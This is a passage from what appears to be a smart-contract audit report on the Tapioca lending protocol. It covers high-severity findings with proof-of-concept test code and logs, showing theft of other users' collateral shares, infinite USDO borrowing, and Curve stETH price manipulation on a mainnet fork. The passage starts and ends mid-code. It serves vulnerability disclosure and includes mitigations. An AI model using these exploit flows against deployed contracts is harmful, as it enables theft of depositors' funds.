elastic = toElastic(total, base, roundUp);
total.elastic -= uint128(elastic);
total.base -= uint128(base);
return (total, elastic);
}
/// @notice Add `elastic` and `base` to `total`.
function add(
Rebase memory total,
uint256 elastic,
uint256 base
) internal pure returns (Rebase memory) {
total.elastic += uint128(elastic);
total.base += uint128(base);
return total;
}
/// @notice Subtract `elastic` and `base` to `total`.
function sub(
Rebase memory total,
uint256 elastic,
uint256 base
) internal pure returns (Rebase memory) {
total.elastic -= uint128(elastic);
total.base -= uint128(base);
return total;
}
/// @notice Add `elastic` to `total` and update storage.
/// @return newElastic Returns updated `elastic`.
function addElastic(
Rebase storage total,
uint256 elastic
) internal returns (uint256 newElastic) {
newElastic = total.elastic += uint128(elastic);
}
/// @notice Subtract `elastic` from `total` and update storage.
/// @return newElastic Returns updated `elastic`.
function subElastic(
Rebase storage total,
uint256 elastic
) internal returns (uint256 newElastic) {
newElastic = total.elastic -= uint128(elastic);
}
}
contract BIGBANG_MOCK {
using RebaseLibrary for Rebase;
uint256 public collateralizationRate = 75000; // 75% // made public to access it from test contract
uint256 public liquidationMultiplier = 12000; //12%
uint256 public constant FEE_PRECISION = 1e5; // made public to access it from test contract
uint256 public EXCHANGE_RATE_PRECISION = 1e18; //made public to access it from test contract
uint256 public borrowOpeningFee = 50; //0.05%
Rebase public totalBorrow;
uint256 public totalBorrowCap;
AccrueInfo public accrueInfo;
/// @notice borrow amount per user
mapping(address => uint256) public userBorrowPart;
uint256 public USDO_balance; // just to track USDO balance of BigBang
function _accrue() public {
// made public so we can call it from the test contract
AccrueInfo memory _accrueInfo = accrueInfo;
// Number of seconds since accrue was called
uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued;
if (elapsedTime == 0) {
return;
}
//update debt rate // for simplicity we return bigBangEthDebtRate which is 5e15
uint256 annumDebtRate = 5e15; // getDebtRate(); // 5e15 for eth. Check Penrose.sol Line:131
_accrueInfo.debtRate = uint64(annumDebtRate / 31536000); //per second
_accrueInfo.lastAccrued = uint64(block.timestamp);
Rebase memory _totalBorrow = totalBorrow;
uint256 extraAmount = 0;
// Calculate fees
extraAmount =
(uint256(_totalBorrow.elastic) *
_accrueInfo.debtRate *
elapsedTime) /
1e18;
_totalBorrow.elastic += uint128(extraAmount);
totalBorrow = _totalBorrow;
accrueInfo = _accrueInfo;
// emit LogAccrue(extraAmount, _accrueInfo.debtRate); // commented out since it irrelevant
}
function totalBorrowElastic() public view returns (uint128) {
return totalBorrow.elastic;
}
function totalBorrowBase() public view returns (uint128) {
return totalBorrow.base;
}
function _borrow(
address from,
address to,
uint256 amount
) external returns (uint256 part, uint256 share) {
uint256 feeAmount = (amount * borrowOpeningFee) / FEE_PRECISION; // A flat % fee is charged for any borrow
(totalBorrow, part) = totalBorrow.add(amount + feeAmount, true);
require(
totalBorrowCap == 0 || totalBorrow.elastic <= totalBorrowCap,
"BigBang: borrow cap reached"
);
userBorrowPart[from] += part; // toBase from RebaseLibrary. userBorrowPart stores the sharee
//mint USDO
// IUSDOBase(address(asset)).mint(address(this), amount); // not needed
USDO_balance += amount;
//deposit borrowed amount to user
// asset.approve(address(yieldBox), amount); // not needed
// yieldBox.depositAsset(assetId, address(this), to, amount, 0); // not needed
USDO_balance -= amount;
// share = yieldBox.toShare(assetId, amount, false); // not needed
// emit LogBorrow(from, to, amount, feeAmount, part); // not needed
}
// copied from YieldBoxRebase
function _toAmount(
uint256 share,
uint256 totalShares_,
uint256 totalAmount,
bool roundUp
) external pure returns (uint256 amount) {
// To prevent reseting the ratio due to withdrawal of all shares, we start with
// 1 amount/1e8 shares already burned. This also starts with a 1 : 1e8 ratio which
// functions like 8 decimal fixed point math. This prevents ratio attacks or inaccuracy
// due to 'gifting' or rebasing tokens. (Up to a certain degree)
totalAmount++;
totalShares_ += 1e8;
// Calculte the amount using te current amount to share ratio
amount = (share * totalAmount) / totalShares_;
// Default is to round down (Solidity), round up if required
if (roundUp && (amount * totalShares_) / totalAmount < share) {
amount++;
}
}
}
contract BIGBANG_ISSUES is DSTest, Test {
BIGBANG_MOCK bigbangMock;
address bob;
function setUp() public {
bigbangMock = new BIGBANG_MOCK();
bob = vm.addr(1);
}
function test_borrow_repay() public {
// borrow
uint256 amount = 745e18;
vm.warp(1 days);
bigbangMock._accrue(); // acrrue before borrow (this is done on borrow)
bigbangMock._borrow(bob, address(0), amount);
console.log("===BORROW===");
// console.log("Amount: %d", amount);
console.log("UserBorrowPart: %d", bigbangMock.userBorrowPart(bob));
console.log("Total Borrow Base: %d", bigbangMock.totalBorrowBase());
console.log(
"Total Borrow Elastic: %d",
bigbangMock.totalBorrowElastic()
);
// time elapsed
vm.warp(365 days);
console.log("===356 days passed===");
bigbangMock._accrue();
console.log(
"Total Borrow Elastic: %d",
bigbangMock.totalBorrowElastic()
);
// Check Insolvency
uint256 _exchangeRate = 1e18;
uint256 collateralShare = 1000e18;
uint256 totalShares = 1000e18;
uint256 totalAmount = 1000e18;
uint256 EXCHANGE_RATE_PRECISION = bigbangMock.EXCHANGE_RATE_PRECISION();
uint256 FEE_PRECISION = bigbangMock.FEE_PRECISION();
uint256 collateralizationRate = bigbangMock.collateralizationRate();
uint256 borrowPart = bigbangMock.userBorrowPart(bob);
uint256 _totalBorrowElastic = bigbangMock.totalBorrowElastic();
uint256 _totalBorrowBase = bigbangMock.totalBorrowBase();
console.log("===Solvency#1 => multiply by share===");
// we pass totalShares and totalAmount
uint256 A = bigbangMock._toAmount(
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
totalShares,
totalAmount,
false
);
// Moved exchangeRate here instead of dividing the other side to preserve more precision
uint256 B = (borrowPart * _totalBorrowElastic * _exchangeRate) /
_totalBorrowBase;
// bool isSolvent = A >= B;
console.log("A: %d", A);
console.log("B: %d", B);
console.log("===Solvency#2 => multiply by amount===");
A =
bigbangMock._toAmount(
collateralShare,
totalShares,
totalAmount,
false
) *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate;
// Moved exchangeRate here instead of dividing the other side to preserve more precision
B =
(borrowPart * _totalBorrowElastic * _exchangeRate) /
_totalBorrowBase;
// isSolvent = A >= B;
console.log("A: %d", A);
console.log("B: %d", B);
console.log("===Result===");
console.log("Solvency#1.A != Solvency#2.A");
}
}
Recommended Mitigation Steps
Use amount for calculation instead of shares. Check the PoC as it demonstrates such an example.
[H-05] Ability to steal user funds and increase collateral share infinitely in BigBang and Singularity
Submitted by Ack, also found by Koolex (1, 2), RedOneN, plainshift, ladboy233, bin2chen, zzzitron, ayeslick, KIntern_NA, kaden, xuwinnie, Oxsadeeq, 0xStalin, 0xG0P1, ltyu, cergyk, TiesStevelink, rvierdiiev, and 0xRobocop
The addCollateral methods in both BigBang and Singularity contracts allow the share parameter to be passed as 0. When share is 0, the equivalent amount of shares is calculated using the YieldBox toShare method. However, there is a modifier named allowedBorrow that is intended to check the allowed borrowing amount for each implementation of the addCollateral methods. Unfortunately, the modifier is called with the share value passed to addCollateral, and in the case of 0, it will always pass.
// MarketERC20.sol
function _allowedBorrow(address from, uint share) internal {
if (from != msg.sender) {
if (allowanceBorrow[from][msg.sender] < share) {
revert NotApproved(from, msg.sender);
}
allowanceBorrow[from][msg.sender] -= share;
}
}
// BigBang.sol
function addCollateral(
address from,
address to,
bool skim,
uint256 amount,
uint256 share
// @audit share is calculated afterwords the modifier
) public allowedBorrow(from, share) notPaused {
_addCollateral(from, to, skim, amount, share);
}
function _addCollateral(
address from,
address to,
bool skim,
uint256 amount,
uint256 share
) internal {
if (share == 0) {
share = yieldBox.toShare(collateralId, amount, false);
}
userCollateralShare[to] += share;
uint256 oldTotalCollateralShare = totalCollateralShare;
totalCollateralShare = oldTotalCollateralShare + share;
_addTokens(
from,
to,
collateralId,
share,
oldTotalCollateralShare,
skim
);
emit LogAddCollateral(skim ? address(yieldBox) : from, to, share);
}
This leads to various critical scenarios in BigBang and Singularity markets where user assets can be stolen, and collateral share can be increased infinitely which in turn leads to infinite USDO borrow/mint and borrowing max assets from Singularity market.
Refer to Proof of Concept for attack examples
Impact
High - allows stealing of arbitrary user yieldbox shares in BigBang contract and Singularity. In the case of BigBang this leads to infinite minting of USDO. Effectively draining all markets and LPs where USDO has value. In the case of Singularity this leads to infinite borrowing, allowing an attacker to obtain possession of all other users’ collateral in Singularity.
Proof of concept
- Malicious actor can add any user shares that were approved to BigBang or Singularity contracts deployed. This way adversary is stealing user shares that he can unwrap to get underlying collateral provided.
it('allows steal other user YieldBox collateral shares', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User B adds collateral to big bang from user A shares
await expect(wethBigBangMarket.connect(userB).addCollateral(
userA.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
.withArgs(wethBigBangMarket.address, userA.address, wethBigBangMarket.address, wethAssetId, valShare);
userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.eq(0)).to.be.true;
let collateralShares = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(collateralShares.gt(0)).to.be.true;
expect(collateralShares.eq(valShare)).to.be.true;
// User B removes collateral
await wethBigBangMarket.connect(userB).removeCollateral(
userB.address,
userB.address,
collateralShares,
);
collateralShares = await wethBigBangMarket.connect(userB).userCollateralShare(
userA.address,
);
expect(collateralShares.eq(0)).to.be.true;
// User B ends up with User A shares in yieldbox
let userBBalance = await yieldBox.balanceOf(
userB.address,
wethAssetId,
)
expect(userBBalance.gt(0)).to.be.true;
expect(userBBalance.eq(valShare)).to.be.true;
});
- For Singularity contract this allows to increase collateralShare by the amount of assets provided as collateral infinitely leading to
x / x + 1share of the collateral for the caller with no shares in the pool, where x is the number of times theaddColateralis called, effectively allowing for infinite borrowing. As a consequence, the attacker can continuously increase their share of the collateral without limits, leading to potentially excessive borrowing of assets from the Singularity market.
it('allows to infinitely increase user collateral share in BigBang', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User A adds collateral to BigBang
await wethBigBangMarket.addCollateral(
userA.address,
userA.address,
false,
wethMintVal,
0,
);
let bigBangBalance = await yieldBox.balanceOf(
wethBigBangMarket.address,
wethAssetId,
)
expect(bigBangBalance.eq(valShare)).to.be.true;
let userACollateralShare = await wethBigBangMarket.userCollateralShare(
userA.address,
);
expect(userACollateralShare.gt(0)).to.be.true;
expect(userACollateralShare.eq(valShare)).to.be.true;
let userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.eq(0)).to.be.true;
// User B is able to increase his share to 50% of the whole collateral added
await expect(wethBigBangMarket.connect(userB).addCollateral(
wethBigBangMarket.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.gt(0)).to.be.true;
expect(userBCollateralShare.eq(valShare)).to.be.true;
// User B is able to increase his share to 66% of the whole collateral added
await expect(wethBigBangMarket.connect(userB).addCollateral(
wethBigBangMarket.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.gt(0)).to.be.true;
expect(userBCollateralShare.eq(valShare.mul(2))).to.be.true;
// ....
});
- In the BigBang contract, this vulnerability allows a user to infinitely increase their collateral shares by providing collateral repeatedly. As a result, the user can artificially inflate their collateral shares provided, potentially leading to an excessive borrowing capacity. By continuously adding collateral without limitations, the user can effectively borrow against any collateral amount they desire, which poses a significant risk to USDO market.
it('allows infinite borrow of USDO', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User A adds collateral to BigBang
await wethBigBangMarket.addCollateral(
userA.address,
userA.address,
false,
wethMintVal,
0,
);
let bigBangBalance = await yieldBox.balanceOf(
wethBigBangMarket.address,
wethAssetId,
)
expect(bigBangBalance.eq(valShare)).to.be.true;
let userACollateralShare = await wethBigBangMarket.userCollateralShare(
userA.address,
);
expect(userACollateralShare.gt(0)).to.be.true;
expect(userACollateralShare.eq(valShare)).to.be.true;
await wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000");
await expect(
wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000")
).to.be.reverted;
await expect(wethBigBangMarket.addCollateral(
wethBigBangMarket.address,
userA.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
await wethBigBangMarket.borrow(userA.address, userA.address, "7500000000000000000000");
await expect(wethBigBangMarket.addCollateral(
wethBigBangMarket.address,
userA.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
await wethBigBangMarket.borrow(userA.address, userA.address, "7530000000000000000000");
// ....
});
Recommended Mitigation Steps
- Check allowed to borrow shares amount after evaluating equivalent them
0xRektora (Tapioca) confirmed via duplicate issue 55
[H-06] BalancerStrategy _withdraw uses BPT_IN_FOR_EXACT_TOKENS_OUT which can be attack to cause loss to all depositors
Submitted by GalloDaSballo
Withdrawals can be manipulated to cause complete loss of all tokens.
The BalancerStrategy accounts for user deposits in terms of the BPT shares they contributed, however, for withdrawals, it estimates the amount of BPT to burn based on the amount of ETH to withdraw, which can be manipulated to cause a total loss to the Strategy.
Deposits of weth are done via userData.joinKind set to 1, which is extracted here in the generic Pool Logic:
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49
The interpretation (by convention is shown here):
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }
Which means that the deposit is using EXACT_TOKENS_IN_FOR_BPT_OUT which is safe in most circumstances (Pool Properly Balanced, with minimum liquidity).
BPT_IN_FOR_EXACT_TOKENS_OUT is vulnerable to manipulation
_vaultWithdraw uses the following logic to determine how many BPT to burn:
uint256[] memory minAmountsOut = new uint256[](poolTokens.length);
for (uint256 i = 0; i < poolTokens.length; i++) {
if (poolTokens[i] == address(wrappedNative)) {
minAmountsOut[i] = amount;
index = int256(i);
} else {
minAmountsOut[i] = 0;
}
}
IBalancerVault.ExitPoolRequest memory exitRequest;
exitRequest.assets = poolTokens;
exitRequest.minAmountsOut = minAmountsOut;
exitRequest.toInternalBalance = false;
exitRequest.userData = abi.encode(
2,
exitRequest.minAmountsOut,
pool.balanceOf(address(this))
);
This query logic is using 2, which Maps out to BPT_IN_FOR_EXACT_TOKENS_OUT which means Exact Out, with any (all) BPT IN, this means that the swapper is willing to burn all tokens:
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L51
enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }
This meets the 2 prerequisite for stealing value from the vault by socializing loss due to single sided exposure:
-
- The request is for at least
amountWETH
- The request is for at least
-
- The request is using
BPT_IN_FOR_EXACT_TOKENS_OUT
- The request is using
Which means the strategy will accept any slippage, in this case 100%, causing it to take a total loss for the goal of allowing a withdrawal, at the advantage of the attacker and the detriment of all other depositors.
POC
The requirement to trigger the loss are as follows:
- Deposit to have some amount of BPTs deposited into the strategy
- Imbalance the Pool to cause pro-rata amount of single token to require burning a lot more BPTs
- Withdraw from the strategy, the strategy will burn all of the BPTs it owns (more than the shares)
- Rebalance the pool with the excess value burned from the strategy
Further Details
Specifically, in withdrawing one Depositor Shares, the request would end up burning EVERYONEs shares, causing massive loss to everyone.
This has already been exploited and explained in Yearns Disclosure:
https://github.com/yearn/yearn-security/blob/master/disclosures/2022-01-30.md
More specifically this finding can cause a total loss, while trying to withdraw tokens for a single user, meaning that an attacker can setup the pool to cause a complete loss to all other stakers.
Mitigation Step
Use EXACT_BPT_IN_FOR_TOKENS_OUT and denominate the Strategy in LP tokens to avoid being attacked via single sided exposure.
cryptotechmaker (Tapioca) confirmed
[H-07] Usage of BalancerStrategy.updateCache will cause single sided Loss, discount to Depositor and to OverBorrow from Singularity
Submitted by GalloDaSballo, also found by carrotsmuggler, kaden, and cergyk
The BalancerStrategy uses a cached value to determine it’s balance in pool for which it takes Single Sided Exposure.
This means that the Strategy has some BPT tokens, but to price them, it’s calling vault.queryExit which simulates withdrawing the LP in a single sided manner.
Due to the single sided exposure, it’s trivial to perform a Swap, that will change the internal balances of the pool, as a way to cause the Strategy to discount it’s tokens.
By the same process, we can send more ETH as a way to inflate the value of the Strategy, which will then be cached.
Since _currentBalance is a view-function, the YieldBox will accept these inflated values without a way to dispute them
function _deposited(uint256 amount) internal override nonReentrant {
uint256 queued = wrappedNative.balanceOf(address(this));
if (queued > depositThreshold) {
_vaultDeposit(queued);
emit AmountDeposited(queued);
}
emit AmountQueued(amount);
updateCache(); /// @audit this is updated too late (TODO PROOF)
}
POC
- Imbalance the pool (Sandwich A)
- Update
updateCache - Deposit into YieldBox, YieldBox is using a
viewfunction, meaning it will use the manipulated strategy_currentBalance _depositedtrigger anupdateCache- Rebalance the Pool (Sandwich B)
- Call
updateCacheagain to bring back the rate to a higher value - Withdraw at a gain
Result
Imbalance Up -> Allows OverBorrowing and causes insolvency to the protocol Imbalance Down -> Liquidate Borrowers unfairly at a profit to the liquidator Sandwhiching the Imbalance can be used to extract value from the strategy and steal user deposits as well
Mitigation
Use fair reserve math, avoid single sided exposure (use the LP token as underlying, not one side of it)
cryptotechmaker (Tapioca) confirmed
[H-08] LidoEthStrategy._currentBalance is subject to price manipulation, allows overborrowing and liquidations
Submitted by GalloDaSballo, also found by ladboy233, carrotsmuggler, kaden, cergyk, and rvierdiiev
The strategy is pricing stETH as ETH by asking the pool for it’s return value
This is easily manipulatable by performing a swap big enough
function _currentBalance() internal view override returns (uint256 amount) {
uint256 stEthBalance = stEth.balanceOf(address(this));
uint256 calcEth = stEthBalance > 0
? curveStEthPool.get_dy(1, 0, stEthBalance) // TODO: Prob manipulatable view-reentrancy
: 0;
uint256 queued = wrappedNative.balanceOf(address(this));
return calcEth + queued;
}
/// @dev deposits to Lido or queues tokens if the 'depositThreshold' has not been met yet
function _deposited(uint256 amount) internal override nonReentrant {
uint256 queued = wrappedNative.balanceOf(address(this));
if (queued > depositThreshold) {
require(!stEth.isStakingPaused(), "LidoStrategy: staking paused");
INative(address(wrappedNative)).withdraw(queued);
stEth.submit{value: queued}(address(0)); //1:1 between eth<>stEth // TODO: Prob cheaper to buy stETH
emit AmountDeposited(queued);
return;
}
emit AmountQueued(amount);
}
POC
- Imbalance the Pool to overvalue the stETH
- Overborrow and Make the Singularity Insolvent
- Imbalance the Pool to undervalue the stETH
- Liquidate all Depositors (at optimal premium since attacker can control the price change)
Coded POC
Logs
[PASS] testSwapStEth() (gas: 372360)
Initial Price 5443663537732571417920
Changed Price 2187071651284977907921
Initial Price 2187071651284977907921
Changed Price 1073148438886623970
[PASS] testSwapETH() (gas: 300192)
Logs:
value 100000000000000000000000
Initial Price 5443663537732571417920
Changed Price 9755041616702274912586
value 700000000000000000000000
Initial Price 9755041616702274912586
Changed Price 680711874102963551173181
Considering that swap fees are 1BPS, the attack is profitable at very low TVL
// SPDX-License Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
interface ICurvePoolWeird {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
}
interface ICurvePool {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
function get_virtual_price() external view returns (uint256);
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external;
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract Swapper is Test {
ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
uint256 TEN_MILLION_USD_AS_ETH = 5455e18; // Rule of thumb is 1BPS cost means we can use 5 Billion ETH and still be
function swapETH() external payable {
console2.log("value", msg.value);
console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
pool.exchange{value: msg.value}(0, 1, msg.value, 0); // Swap all yolo
// curveStEthPool.get_dy(1, 0, stEthBalance)
console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
}
function swapStEth() external {
console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
// Always approve exact ;)
uint256 amt = stETH.balanceOf(address(this));
stETH.approve(address(pool), stETH.balanceOf(address(this)));
pool.exchange(1, 0, amt, 0); // Swap all yolo
// curveStEthPool.get_dy(1, 0, stEthBalance)
console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
}
receive() external payable {}
}
contract CompoundedStakesFuzz is Test {
Swapper c;
IERC20 token = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
function setUp() public {
c = new Swapper();
}
function testSwapETH() public {
deal(address(this), 100_000e18);
c.swapETH{value: 100_000e18}(); /// 100k ETH is enough to double the price
deal(address(this), 700_000e18);
c.swapETH{value: 700_000e18}(); /// 700k ETH is enough to double the price
}
function testSwapStEth() public {
vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Has 700k ETH, 100k is sufficient
token.transfer(address(c), 100_000e18);
c.swapStEth();
vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Another one for good measure
token.transfer(address(c), 600_000e18);
c.swapStEth();
}
}
Mitigation
Use the Chainlink stETH / ETH Price Feed or Ideally do not expose the strategy to any conversion, simply deposit and withdraw stETH directly to avoid any risk or attack in conversions
https://data.chain.link/arbitrum/mainnet/crypto-eth/steth-eth
https://data.chain.link/ethereum/mainnet/crypto-eth/steth-eth
0xRektora (Tapioca) confirmed via duplicate issue 828
[H-09] TricryptoLPStrategy.compoundAmount always returns 0 because it’s using staticall vs call
Submitted by GalloDaSballo
compoundAmount will always try to sell 0 tokens because the staticall will revert since the function changes storage in checkpoint
This causes the compoundAmount to always return 0, which means that the Strategy is underpriced at all times allowing to Steal all Rewards via:
- Deposit to own a high % of ownerhsip in the strategy (shares are underpriced)
- Compound (shares socialize the yield to new total supply, we get the majority of that)
- Withdraw (lock in immediate profits without contributing to the Yield)
POC
This Test is done on the Arbitrum Tricrypto Gauge with Foundry
1 is the flag value for a revert 0 is the expected value
We get 1 when we use staticcall since the call reverts internally We get 0 when we use call since the call doesn’t
The comment in the Gauge Code is meant for usage off-chain, onChain you must accrue (or you could use a Accrue Then Revert Pattern, similar to UniV3 Quoter)
NOTE: The code for Mainnet is the same, so it will result in the same impact
https://etherscan.io/address/0xDeFd8FdD20e0f34115C7018CCfb655796F6B2168#code#L375
Foundry POC
forge test --match-test test_callWorks --rpc-url https://arb-mainnet.g.alchemy.com/v2/ALCHEMY_KEY
Which will revert since checkpoint is a non-view function and staticall reverts if any state is changed
https://arbiscan.io/address/0x555766f3da968ecbefa690ffd49a2ac02f47aa5f#code#L168
// SPDX-License Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
contract GaugeCallTest is Test {
// Arb Tricrypto Gauge
address lpGauge = 0x555766f3da968ecBefa690Ffd49A2Ac02f47aa5f;
function setUp() public {}
function doTheCallView() internal returns (uint256) {
(bool success, bytes memory response) = address(lpGauge).staticcall(
abi.encodeWithSignature("claimable_tokens(address)", address(this))
);
uint256 claimable = 1;
if (success) {
claimable = abi.decode(response, (uint256));
}
return claimable;
}
function doTheCallCall() internal returns (uint256) {
(bool success, bytes memory response) = address(lpGauge).call(
abi.encodeWithSignature("claimable_tokens(address)", address(this))
);
uint256 claimable = 1;
if (success) {
claimable = abi.decode(response, (uint256));
}
return claimable;
}
function test_callWorks() public {
uint256 claimableView = doTheCallView();
assertEq(claimableView, 1); // Return 1 which is our flag for failure
uint256 claimableNonView = doTheCallCall();
assertEq(claimableNonView, 0); // Return 0 which means we read the proper value
}
}
Mitigation Step
You should use a non-view function like in compound
cryptotechmaker (Tapioca) confirmed
[H-10] Liquidated USDO from BigBang not being burned after liquidation inflates USDO supply and can threaten peg permanently
Submitted by unsafesol, also found by peakbolt, 0xnev, rvierdiiev, and 0xRobocop
Absence of proper USDO burn after liquidation in the BigBang market results in a redundant amount of USDO being minted without any collateral or backing. Thus, the overcollaterization of USDO achieved through BigBang will be eventually lost and the value of USDO in supply (1USDO = 1$) will exceed the amount of collateral locked in BigBang. This has multiple repercussions- the USDO peg will be threatened and yieldBox will have USDO which has virtually no value, resulting in all the BigBang strategies failing.
Proof of Concept
According to the Tapioca documentation, the BigBang market mints USDO when a user deposits sufficient collateral and borrows tokens. When a user repays the borrowed USDO, the market burns the borrowed USDO and unlocks the appropriate amount of collateral. This is essential to the peg of USDO, since USDO tokens need a valid collateral backing.
While liquidating a user as well, the same procedure should be followed- after swapping the user’s collateral for USDO, the repaid USDO (with liquidation) must be burned so as to sustain the USDO peg. However, this is not being done. As we can see here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L618-L637, the collateral is swapped for USDO, and fee is extracted and transferred to the appropriate parties, but nothing is done for the remaining USDO which was repaid. At the same time, this was done correctly done in BigBang#_repay for repayment here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L734-L736.
This has the following effects:
- The BigBang market now has redundant yieldBox USDO shares which have no backing.
- The redundant USDO is now performing in yieldBox strategies of tapioca.
- The USDO eventually becomes overinflated and exceeds the value of underlying collateral.
- The strategies start not performing since they have unbacked USDO, and the USDO peg is lost as well since there is no appropriate amount of underlying collateral.
Recommended Mitigation Steps
Burn the USDO acquired through liquidation after extracting fees for appropriate parties.
[H-11] TOFT exerciseOption can be used to steal all underlying erc20 tokens
Submitted by windhustler, also found by Ack
Unvalidated input data for the exerciseOption function can be used to steal all the erc20 tokens from the contract.
Proof of Concept
Each BaseTOFT is a wrapper around an erc20 token and extends the OFTV2 contract to enable smooth cross-chain transfers through LayerZero.
Depending on the erc20 token which is used usually the erc20 tokens will be held on one chain and then only the shares of OFTV2 get transferred around (burnt on one chain, minted on another chain).
Subject to this attack is TapiocaOFTs or mTapiocaOFTs which store as an underlying token an erc20 token(not native). In order to mint TOFT shares you need to deposit the underlying erc20 tokens into the contract, and you get TOFT shares.
The attack flow is the following:
- The attack starts from the
exerciseOption. Nothing is validated here and the only cost of the attack is theoptionsData.paymentTokenAmountwhich is burned from the attacker. This can be some small amount. - When the message is received on the remote chain inside the
exercisefunction it is important that nothing reverts for the attacker. - For the attacker to go through the attacker needs to pass the following data:
function exerciseInternal(
address from,
uint256 oTAPTokenID,
address paymentToken,
uint256 tapAmount,
address target,
ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData
memory tapSendData,
ICommonData.IApproval[] memory approvals
) public {
// pass zero approval so this is skipped
if (approvals.length > 0) {
_callApproval(approvals);
}
// target is the address which does nothing, but has the exerciseOption implemented
ITapiocaOptionsBroker(target).exerciseOption(
oTAPTokenID,
paymentToken,
tapAmount
);
